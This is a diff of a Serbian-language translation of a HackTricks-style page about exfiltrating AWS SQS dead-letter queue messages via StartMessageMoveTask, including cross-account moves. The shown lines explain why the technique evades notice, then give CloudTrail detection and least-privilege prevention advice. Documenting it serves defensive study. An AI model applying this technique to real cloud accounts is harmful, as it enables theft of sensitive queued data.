|
||||
|
||||
## Zašto je ovaj napad efikasan
|
||||
|
||||
1. **Legitimate AWS Feature**: Koristi ugrađenu AWS funkcionalnost, zbog čega je teško otkriti kao zlonamerno
|
||||
2. **Bulk Operation**: Premešta hiljade poruka brzo umesto sporog pojedinačnog pristupa
|
||||
1. **Legitimate AWS Feature**: Koristi ugrađenu AWS funkcionalnost, što ga čini teškim za otkrivanje kao zlonameran
|
||||
2. **Bulk Operation**: Prenosi na hiljade poruka brzo umesto sporog pojedinačnog pristupa
|
||||
3. **Historical Data**: DLQs akumuliraju osetljive podatke tokom nedelja/meseci
|
||||
4. **Under the Radar**: Mnoge organizacije ne prate pristup DLQ-ovima pažljivo
|
||||
5. **Cross-Account Capable**: Može exfiltrate u napadačev sopstveni AWS nalog ako su dozvole omogućene
|
||||
4. **Under the Radar**: Mnoge organizacije ne prate pristup DLQ-ovima detaljno
|
||||
5. **Cross-Account Capable**: Može izvršiti eksfiltraciju u napadačev sopstveni AWS nalog ako dozvole to omogućavaju
|
||||
|
||||
## Detekcija i prevencija
|
||||
## Otkrivanje i prevencija
|
||||
|
||||
### Detekcija
|
||||
Pratite CloudTrail zbog sumnjivih `StartMessageMoveTask` API poziva:
|
||||
### Otkrivanje
|
||||
Pratite CloudTrail za sumnjive `StartMessageMoveTask` API pozive:
|
||||
```json
|
||||
{
|
||||
"eventName": "StartMessageMoveTask",
|
||||
@@ -143,8 +145,10 @@ Pratite CloudTrail zbog sumnjivih `StartMessageMoveTask` API poziva:
|
||||
}
|
||||
```
|
||||
### Prevencija
|
||||
1. **Least Privilege**: Ograničiti `sqs:StartMessageMoveTask` dozvole samo na neophodne role
|
||||
2. **Monitor DLQs**: Podesiti CloudWatch alarme za neobičnu aktivnost DLQs
|
||||
3. **Cross-Account Policies**: Pažljivo pregledati SQS queue policies koje omogućavaju cross-account pristup
|
||||
4. **Encrypt DLQs**: Koristiti SSE-KMS sa ograničenim politikama ključeva
|
||||
5. **Regular Cleanup**: Ne dozvoljavati da se osetljivi podaci neograničeno akumuliraju u DLQs
|
||||
1. **Princip najmanjih privilegija**: Ograničite `sqs:StartMessageMoveTask` dozvole samo na neophodne uloge
|
||||
2. **Nadzor DLQ-ova**: Podesite CloudWatch alarme za neuobičajenu aktivnost DLQ-ova
|
||||
3. **Politike za pristup između naloga**: Pažljivo pregledajte SQS queue policies koje omogućavaju pristup iz drugih naloga
|
||||
4. **Šifrovanje DLQ-ova**: Koristite SSE-KMS sa ograničenim politikama ključeva
|
||||
5. **Redovno čišćenje**: Ne dozvolite da se osetljivi podaci neograničeno nakupljaju u DLQ-ovima
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user